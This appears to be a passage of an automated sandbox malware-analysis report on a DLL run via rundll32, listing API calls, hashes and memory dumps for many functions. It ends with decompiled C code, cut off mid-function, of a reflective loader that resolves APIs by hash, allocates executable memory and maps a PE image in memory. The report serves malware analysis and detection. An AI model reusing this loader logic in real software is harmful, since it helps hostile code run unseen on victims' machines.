GetProcAddress.KERNEL32(00000000,SetThreadDescription), ref: 6E7AC455

Strings

kernel32, xrefs: 6E7AC440
SetThreadDescription, xrefs: 6E7AC44F

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: SetThreadDescription$kernel32
API String ID: 1646373207-1950310818
Opcode ID: 90fdb42fa921e53d04e4c20bd21512d2a185fce415989aa473fe71885e7e73d0
Instruction ID: 3c1cb801d1f7fd1fa216fb94862a7f900c9f60810a729522e275f6b64621387f
Opcode Fuzzy Hash: 90fdb42fa921e53d04e4c20bd21512d2a185fce415989aa473fe71885e7e73d0
Instruction Fuzzy Hash: B0B092B16049026BBE90ABF25F1CA273A5DAA99B527004464AB12D9520EA209140AD69

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AC420, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6E7AC425
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6E7AC435

Strings

kernel32, xrefs: 6E7AC420
GetSystemTimePreciseAsFileTime, xrefs: 6E7AC42F

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemTimePreciseAsFileTime$kernel32
API String ID: 1646373207-392834919
Opcode ID: bbaa414e28d1b034b1d6380d9cc72140ef1814d1df2468b328e46e56c58a838b
Instruction ID: e77835d88085f1b4217a56ed62bf91a7092bb726c8f8740ed8ddae41470d9021
Opcode Fuzzy Hash: bbaa414e28d1b034b1d6380d9cc72140ef1814d1df2468b328e46e56c58a838b
Instruction Fuzzy Hash: D6B092716049037ABE90ABF25B0CA2B391EAAE1B927404564A612D9A21EA20A140AD29

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AC4C0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6E7AC4C5
GetProcAddress.KERNEL32(00000000,NtCreateKeyedEvent), ref: 6E7AC4D5

Strings

NtCreateKeyedEvent, xrefs: 6E7AC4CF
ntdll, xrefs: 6E7AC4C0

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: NtCreateKeyedEvent$ntdll
API String ID: 1646373207-1373576770
Opcode ID: 4d906c7be7cfe2330d2949fd109b884b7bb84ef8568064552f0ec63eb31a2cee
Instruction ID: 5b0f1243c84df172590680f7de0727bd2779fd871cf68ea38f7af2610d9b14e8
Opcode Fuzzy Hash: 4d906c7be7cfe2330d2949fd109b884b7bb84ef8568064552f0ec63eb31a2cee
Instruction Fuzzy Hash: 28B092716089016EAE94AAF16B0CA163A2CAA81B1670084A4A236DA960EB209640ED29

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AC4A0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6E7AC4A5
GetProcAddress.KERNEL32(00000000,NtReleaseKeyedEvent), ref: 6E7AC4B5

Strings

NtReleaseKeyedEvent, xrefs: 6E7AC4AF
ntdll, xrefs: 6E7AC4A0

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: NtReleaseKeyedEvent$ntdll
API String ID: 1646373207-31681898
Opcode ID: 6c18d8e21a9dee2c551d44067ec8591ed003ee896265b28e106e8d82560b589f
Instruction ID: 6205b47d89d0b94f5a22ca5d3a40f5ac750e6b90cf350da94cf3b02cc414cb33
Opcode Fuzzy Hash: 6c18d8e21a9dee2c551d44067ec8591ed003ee896265b28e106e8d82560b589f
Instruction Fuzzy Hash: 40B092B16089017AAE94AAF16B0CA163E2CAA81B167004468B626D9660FB24A640ED29

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AC480, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6E7AC485
GetProcAddress.KERNEL32(00000000,NtWaitForKeyedEvent), ref: 6E7AC495

Strings

ntdll, xrefs: 6E7AC480
NtWaitForKeyedEvent, xrefs: 6E7AC48F

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: NtWaitForKeyedEvent$ntdll
API String ID: 1646373207-2815205136
Opcode ID: a2d0ac9252dd8e9a4640d4bbee21152ccb0bf0a68929d1cf35eb236ed190a328
Instruction ID: 719cde77a0fbfd17c402f6e575f4dd0b932399871097d261b375caa16cfa51cf
Opcode Fuzzy Hash: a2d0ac9252dd8e9a4640d4bbee21152ccb0bf0a68929d1cf35eb236ed190a328
Instruction Fuzzy Hash: F2B09B755045017A6D5496F15B0C9163A2C568171570045647226D9560D710D140ED25

Uniqueness

Uniqueness Score: -1.00%

Function 6E7C4089, Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(A6952AF0,?,00000000,?), ref: 6E7C40EC

Part of subcall function 6E7C19B3: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6E7C3B22,?,00000000,-00000008), ref: 6E7C1A5F

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6E7C4347
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6E7C438F
GetLastError.KERNEL32 ref: 6E7C4432

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: bb80dc600ce50f296e7e8dffd198c056af46894238ca381ed8ea212ea4737d5a
Instruction ID: 1e60bcccc5bf3087d27d07cefe5e1cf23a68a8972090ba698568066fae8e5890
Opcode Fuzzy Hash: bb80dc600ce50f296e7e8dffd198c056af46894238ca381ed8ea212ea4737d5a
Instruction Fuzzy Hash: 73D17775D002599FCF01CFE8C980AEDBBB9FF49704F14452AE865AB261E730A942DB51

Uniqueness

Uniqueness Score: -1.00%

Function 6E7B2620, Relevance: 6.2, APIs: 4, Instructions: 215COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,?,00000000,?,?,?), ref: 6E7B27B1
WriteConsoleW.KERNEL32(?,?,00000001,?,00000000,?,?,?), ref: 6E7B2803
GetLastError.KERNEL32(?,?,?), ref: 6E7B280D
GetLastError.KERNEL32(?,?,?), ref: 6E7B2875

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleErrorLastWrite
String ID:
API String ID: 4006445483-0
Opcode ID: 3a7f648accc22c44d9dc2ccb87cf6e3fdf18ea41bc0cc29812f2e3ab9076cb81
Instruction ID: 080540a1227b9e122aeb626009d1ebb46f8ee685dcc65b9f5c104103d259770e
Opcode Fuzzy Hash: 3a7f648accc22c44d9dc2ccb87cf6e3fdf18ea41bc0cc29812f2e3ab9076cb81
Instruction Fuzzy Hash: 0661D931B1A3968FF3108ED9CD4436A73E6EFC5304F048939E894873B8E670D8418B92

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BCDDF, Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6E7BCEA6
___AdjustPointer.LIBCMT ref: 6E7BCEC9
___AdjustPointer.LIBCMT ref: 6E7BCF65

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: e41f000893805a0a1d0e945d130508021fbed83182a13647a403fd729285d59e
Instruction ID: 1db59784d7c1df1d7e8d6214bd3d5b896889235937c454b702f5fca4b833c2d8
Opcode Fuzzy Hash: e41f000893805a0a1d0e945d130508021fbed83182a13647a403fd729285d59e
Instruction Fuzzy Hash: 6D51FE72605607EFEB158F95CA54BAA73A8EF00706F1084BEE9159F2B0E731EC51CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6E7C06C7, Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6E7C19B3: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6E7C3B22,?,00000000,-00000008), ref: 6E7C1A5F

GetLastError.KERNEL32 ref: 6E7C072B
__dosmaperr.LIBCMT ref: 6E7C0732
GetLastError.KERNEL32(?,?,?,?), ref: 6E7C076C
__dosmaperr.LIBCMT ref: 6E7C0773

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 1b0f38f014dcd352ec06c0aca75e587dabba6d247e3419c38d8e041580b7c6f8
Instruction ID: f8215b7c76015ba0253a1d6a36fe334871fceb26dd86e760eb4429a68354cf94
Opcode Fuzzy Hash: 1b0f38f014dcd352ec06c0aca75e587dabba6d247e3419c38d8e041580b7c6f8
Instruction Fuzzy Hash: E0210AB1204605AF9F549FE5CE8489BB7BDFF00B687004A28F81897124E730EC808FD2

Uniqueness

Uniqueness Score: -1.00%

Function 6E7C57E6, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,6E7C5197,?,00000001,?,?,?,6E7C4486,?,?,00000000), ref: 6E7C57FD
GetLastError.KERNEL32(?,6E7C5197,?,00000001,?,?,?,6E7C4486,?,?,00000000,?,?,?,6E7C4A0D,?), ref: 6E7C5809

Part of subcall function 6E7C57CF: CloseHandle.KERNEL32(FFFFFFFE,6E7C5819,?,6E7C5197,?,00000001,?,?,?,6E7C4486,?,?,00000000,?,?), ref: 6E7C57DF

___initconout.LIBCMT ref: 6E7C5819

Part of subcall function 6E7C5791: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6E7C57C0,6E7C5184,?,?,6E7C4486,?,?,00000000,?), ref: 6E7C57A4

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,6E7C5197,?,00000001,?,?,?,6E7C4486,?,?,00000000,?), ref: 6E7C582E

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 1d89ae91d9ba57284b8f8fb3e253f7aa83a803fa0f0e58793c449f87388f9d45
Instruction ID: 7881ed81d9d9946542db143cc93301f4ee2abbca7a92d46f867c53944e0a6cdf
Opcode Fuzzy Hash: 1d89ae91d9ba57284b8f8fb3e253f7aa83a803fa0f0e58793c449f87388f9d45
Instruction Fuzzy Hash: BAF09836500615FFCF621FD5ED089897F6EFB0ABB1F054420FE1996124DA3298A0DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6E7C493F, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6E7C4089: GetConsoleOutputCP.KERNEL32(A6952AF0,?,00000000,?), ref: 6E7C40EC

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,00000000,?,?,00000000,?,?,6E7C27EE,?), ref: 6E7C4AA8
GetLastError.KERNEL32(?,6E7C27EE,?,}&|n,00000000,?,00000000,6E7C267D,?,00000000,00000000,6E7F8248,0000002C,6E7C26EE,?), ref: 6E7C4AB2

Strings

'|n, xrefs: 6E7C4B33

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID: '|n
API String ID: 2915228174-1071459254
Opcode ID: 0971552eb33c02b6a72ebaf924f18c7f2277375c292bc340f766bcaec36ad487
Instruction ID: 81a6493237e856292d3bf229cd90605ac1c66dbddc35ad8d9c1ca0193846b35e
Opcode Fuzzy Hash: 0971552eb33c02b6a72ebaf924f18c7f2277375c292bc340f766bcaec36ad487
Instruction Fuzzy Hash: 4E61B1B1D04159AEDF01CFE9CA44FDEBBBDAF0AB08F004055E814A7261E331D946EB66

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BD3E0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 6E7BD405

Strings

MOC, xrefs: 6E7BD417
RCC, xrefs: 6E7BD41F

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: c28ba591c9954a21eb764fcc38f6da8972207d9896fb6c89a6af526b14c16fc0
Instruction ID: 20c843f54941a52af7925a845c3967b78219fdf5412296c6f9b3271430a57c81
Opcode Fuzzy Hash: c28ba591c9954a21eb764fcc38f6da8972207d9896fb6c89a6af526b14c16fc0
Instruction Fuzzy Hash: BF418C71900209AFDF05CFD4CE81ADE7BB9BF48304F148069FA04AB220D335A951DF56

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 6920 Parent PID: 6888 rundll32.exeCOMMON

Executed Functions

Function 6E7B9990, Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 394
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E6E7B9990(void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t137;
				intOrPtr _t139;
				struct HDC__* _t144;
				void* _t152;
				signed int _t153;
				void* _t154;
				void* _t164;
				signed int _t167;
				signed int _t169;
				unsigned short _t171;
				void* _t176;
				signed int _t178;
				char _t189;
				void* _t192;
				signed int _t193;
				signed int _t196;
				signed int _t202;
				intOrPtr _t204;
				signed int _t205;
				signed int _t207;
				intOrPtr _t208;
				void* _t209;
				void* _t210;
				signed int _t212;
				signed int _t215;
				intOrPtr _t216;
				intOrPtr* _t219;
				signed int _t225;
				signed int _t226;
				signed int _t227;
				signed short _t230;
				void* _t235;
				signed int _t236;
				signed int _t237;
				void* _t241;
				signed int _t244;
				signed int _t245;
				signed int _t246;
				intOrPtr* _t250;
				signed int _t251;
				intOrPtr* _t253;
				intOrPtr* _t256;
				intOrPtr* _t257;
				void* _t259;
				intOrPtr* _t261;
				unsigned int _t263;
				intOrPtr* _t265;
				void* _t266;
				void* _t267;
				signed int* _t269;
				signed int _t271;
				signed int _t272;
				intOrPtr* _t274;
				signed int _t278;
				void* _t279;
				signed int _t280;
				void* _t281;
				signed int _t282;
				void* _t284;
				signed int _t286;
				signed int _t287;
				signed int _t289;
				signed char* _t290;
				intOrPtr _t291;
				signed int _t293;
				void* _t294;
				signed short* _t297;
				void* _t298;
				signed int _t299;
				signed int _t300;
				signed int _t301;

				_t137 =  *0x6e7fa4a4; // 0x4e6749c0
				 *(_t300 + 0x4c) = _t137 ^ _t300;
				_t256 =  *((intOrPtr*)(_t300 + 0x64));
				_push(0x400);
				 *((intOrPtr*)(_t300 + 0x2c)) = _t256;
				_t139 = E6E7BA04E(__edx, __eflags);
				_t257 =  *_t256;
				_t301 = _t300 + 4;
				_t202 = 0;
				 *((intOrPtr*)(_t301 + 0x2c)) = _t139;
				 *(_t301 + 0x24) = 0;
				 *(_t301 + 0x18) = 0;
				 *(_t301 + 0x20) = 0;
				L1:
				while(1) {
					if( *_t257 != 0x5a4d) {
						L4:
						_t257 = _t257 - 1;
						continue;
					}
					_t216 =  *((intOrPtr*)(_t257 + 0x3c));
					if(_t216 - 0x40 > 0x3bf ||  *((intOrPtr*)(_t216 + _t257)) != 0x4550) {
						goto L4;
					}
					 *((intOrPtr*)(_t301 + 0x14)) = _t257;
					_t293 =  *( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x14);
					 *(_t301 + 0x1c) = _t293;
					__eflags = _t293;
					if(_t293 != 0) {
						do {
							_t290 =  *(_t293 + 0x28);
							_t236 = 0;
							__eflags = 0;
							_t251 =  *(_t293 + 0x24) & 0x0000ffff;
							do {
								_t272 =  *_t290 & 0x000000ff;
								asm("ror ecx, 0xd");
								__eflags =  *_t290 - 0x61;
								if( *_t290 >= 0x61) {
									_t236 = _t236 + 0xffffffe0;
									__eflags = _t236;
								}
								_t251 = _t251 + 0xffff;
								_t236 = _t236 + _t272;
								_t290 =  &(_t290[1]);
								__eflags = _t251;
							} while (_t251 != 0);
							__eflags = _t236 - 0x6a4abc5b;
							if(_t236 == 0x6a4abc5b) {
								_t291 =  *((intOrPtr*)(_t293 + 0x10));
								_t299 = 3;
								_t192 =  *((intOrPtr*)( *((intOrPtr*)(_t291 + 0x3c)) + _t291 + 0x78)) + _t291;
								 *(_t301 + 0x10) = _t192;
								_t274 =  *((intOrPtr*)(_t192 + 0x20)) + _t291;
								_t215 =  *((intOrPtr*)(_t192 + 0x24)) + _t291;
								__eflags = _t215;
								do {
									_t253 =  *_t274 + _t291;
									_t193 = 0;
									__eflags = 0;
									_t237 =  *_t253;
									do {
										asm("ror eax, 0xd");
										_t253 = _t253 + 1;
										_t193 = _t193 + _t237;
										_t237 =  *_t253;
										__eflags = _t237;
									} while (_t237 != 0);
									__eflags = _t193 - 0xec0e4e8e;
									if(_t193 == 0xec0e4e8e) {
										L18:
										_t241 =  *((intOrPtr*)( *(_t301 + 0x10) + 0x1c)) + ( *_t215 & 0x0000ffff) * 4;
										__eflags = _t193 - 0xec0e4e8e;
										if(_t193 != 0xec0e4e8e) {
											__eflags = _t193 - 0x7c0dfcaa;
											if(_t193 != 0x7c0dfcaa) {
												__eflags = _t193 - 0x91afca54;
												if(_t193 == 0x91afca54) {
													_t196 =  *((intOrPtr*)(_t241 + _t291)) + 0x57 + _t291;
													__eflags = _t196;
													 *(_t301 + 0x20) = _t196;
												}
											} else {
												 *(_t301 + 0x18) =  *((intOrPtr*)(_t241 + _t291)) + _t291;
											}
										} else {
											 *(_t301 + 0x24) =  *((intOrPtr*)(_t241 + _t291)) + _t291;
										}
										_t299 = _t299 + 0xffff;
										__eflags = _t299;
									} else {
										__eflags = _t193 - 0x7c0dfcaa;
										if(_t193 == 0x7c0dfcaa) {
											goto L18;
										} else {
											__eflags = _t193 - 0x91afca54;
											if(_t193 == 0x91afca54) {
												goto L18;
											}
										}
									}
									_t274 = _t274 + 4;
									_t215 = _t215 + 2;
									__eflags = _t299;
								} while (_t299 != 0);
								_t202 =  *(_t301 + 0x18);
								_t293 =  *(_t301 + 0x1c);
							}
							__eflags =  *(_t301 + 0x24);
							if( *(_t301 + 0x24) == 0) {
								goto L30;
							} else {
								__eflags = _t202;
								if(_t202 == 0) {
									goto L30;
								} else {
									__eflags =  *(_t301 + 0x20);
									if( *(_t301 + 0x20) == 0) {
										goto L30;
									}
								}
							}
							break;
							L30:
							_t293 =  *_t293;
							 *(_t301 + 0x1c) = _t293;
							__eflags = _t293;
						} while (_t293 != 0);
						_t257 =  *((intOrPtr*)(_t301 + 0x14));
					}
					 *((intOrPtr*)(_t301 + 0x34)) = GetDC;
					_t144 = GetDC(0);
					 *(_t301 + 0x3c) = GetWindowRect;
					GetWindowRect(0, _t301 + 0x3c);
					 *((intOrPtr*)(_t301 + 0x40)) = ReleaseDC;
					ReleaseDC(0, _t144);
					_t204 =  *((intOrPtr*)(_t257 + 0x3c)) + _t257;
					 *((intOrPtr*)(_t301 + 0x38)) = _t204;
					CreateFileA("asd", 0, 0, 0, 0, 0, 0);
					 *((intOrPtr*)(_t301 + 0x30)) =  *(_t301 + 0x20) - GetLastError();
					_t152 = VirtualAlloc(0,  *(_t204 + 0x50), 0x3000, 0x40); // executed
					_t244 =  *(_t204 + 0x54);
					_t294 = _t152;
					 *(_t301 + 0x10) = _t294;
					_t219 = _t257;
					__eflags = _t244;
					if(_t244 != 0) {
						_t289 = _t294 - _t257;
						__eflags = _t289;
						do {
							_t189 =  *_t219;
							_t219 = _t219 + 1;
							 *((char*)(_t289 + _t219 - 1)) = _t189;
							_t244 = _t244 - 1;
							__eflags = _t244;
						} while (_t244 != 0);
					}
					_t259 = ( *(_t204 + 0x14) & 0x0000ffff) + _t204;
					_t205 =  *(_t204 + 6) & 0x0000ffff;
					__eflags = _t205;
					if(_t205 != 0) {
						_t271 = _t259 + 0x2c;
						__eflags = _t271;
						do {
							_t205 = _t205 - 1;
							 *((char*)((_t205 & 0x000003ff) +  *((intOrPtr*)(_t301 + 0x2c)))) =  *(_t301 + 0x20);
							_t235 =  *((intOrPtr*)(_t271 - 8)) + _t294;
							_t250 =  *_t271 +  *((intOrPtr*)(_t301 + 0x14));
							_t287 =  *(_t271 - 4);
							__eflags = _t287;
							if(_t287 != 0) {
								do {
									_t235 = _t235 + 1;
									 *((char*)(_t235 - 1)) =  *_t250;
									_t250 = _t250 + 1;
									_t287 = _t287 - 1;
									__eflags = _t287;
								} while (_t287 != 0);
							}
							_t271 = _t271 + 0x28;
							__eflags = _t205;
						} while (_t205 != 0);
					}
					_t207 =  *(_t301 + 0x1c) - 0xffffff80;
					_t261 = _t294 +  *_t207;
					 *((intOrPtr*)(_t301 + 0x14)) = _t261;
					_t153 =  *(_t261 + 0xc);
					__eflags = _t153;
					if(_t153 != 0) {
						while(1) {
							__eflags =  *_t207;
							if( *_t207 == 0) {
								goto L50;
							}
							_t298 =  *((intOrPtr*)(_t301 + 0x28))(_t294 + _t153);
							_t176 =  *(_t301 + 0x10);
							_t286 =  *_t261 + _t176;
							_t269 =  *((intOrPtr*)(_t261 + 0x10)) + _t176;
							__eflags =  *_t269;
							if( *_t269 != 0) {
								asm("o16 nop [eax+eax]");
								do {
									__eflags = _t286;
									if(_t286 == 0) {
										L47:
										_t207 = _t176 +  *_t269;
										__eflags = _t207;
										_t178 =  *(_t301 + 0x20)(_t298, _t207 + 2);
									} else {
										_t230 =  *_t286;
										__eflags = _t230;
										if(_t230 >= 0) {
											goto L47;
										} else {
											_t178 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t298 + 0x3c)) + _t298 + 0x78)) + _t298 + 0x1c)) + ((_t230 & 0x0000ffff) -  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t298 + 0x3c)) + _t298 + 0x78)) + _t298 + 0x10))) * 4 + _t298)) + _t298;
										}
									}
									 *_t269 = _t178;
									_t269 =  &(_t269[1]);
									__eflags = _t286;
									_t84 = _t286 + 4; // 0x4
									_t180 =  ==  ? _t286 : _t84;
									__eflags =  *_t269;
									_t286 =  ==  ? _t286 : _t84;
									_t176 =  *(_t301 + 0x10);
								} while ( *_t269 != 0);
							}
							_t294 =  *(_t301 + 0x10);
							_t261 =  *((intOrPtr*)(_t301 + 0x14)) + 0x14;
							 *((intOrPtr*)(_t301 + 0x14)) = _t261;
							_t153 =  *(_t261 + 0xc);
							__eflags = _t153;
							if(_t153 != 0) {
								continue;
							}
							goto L50;
						}
					}
					L50:
					_t154 =  *((intOrPtr*)(_t301 + 0x34))(0);
					 *(_t301 + 0x3c)(0, _t301 + 0x4c);
					 *((intOrPtr*)(_t301 + 0x40))(0, _t154);
					_t245 =  *(_t301 + 0x1c);
					_t263 = _t294 -  *((intOrPtr*)(_t245 + 0x34));
					__eflags =  *(_t245 + 0xa4);
					if( *(_t245 + 0xa4) != 0) {
						_t225 =  *((intOrPtr*)(_t245 + 0xa0)) + _t294;
						 *(_t301 + 0x18) = _t225;
						_t169 =  *(_t225 + 4);
						__eflags = _t169;
						if(_t169 != 0) {
							do {
								_t100 = _t169 - 8; // -8
								_t284 =  *_t225 + _t294;
								_t212 = _t100 >> 1;
								__eflags = _t212;
								_t297 = _t225 + 8;
								if(_t212 != 0) {
									do {
										_t246 =  *_t297 & 0x0000ffff;
										_t212 = _t212 - 1;
										_t226 = _t246;
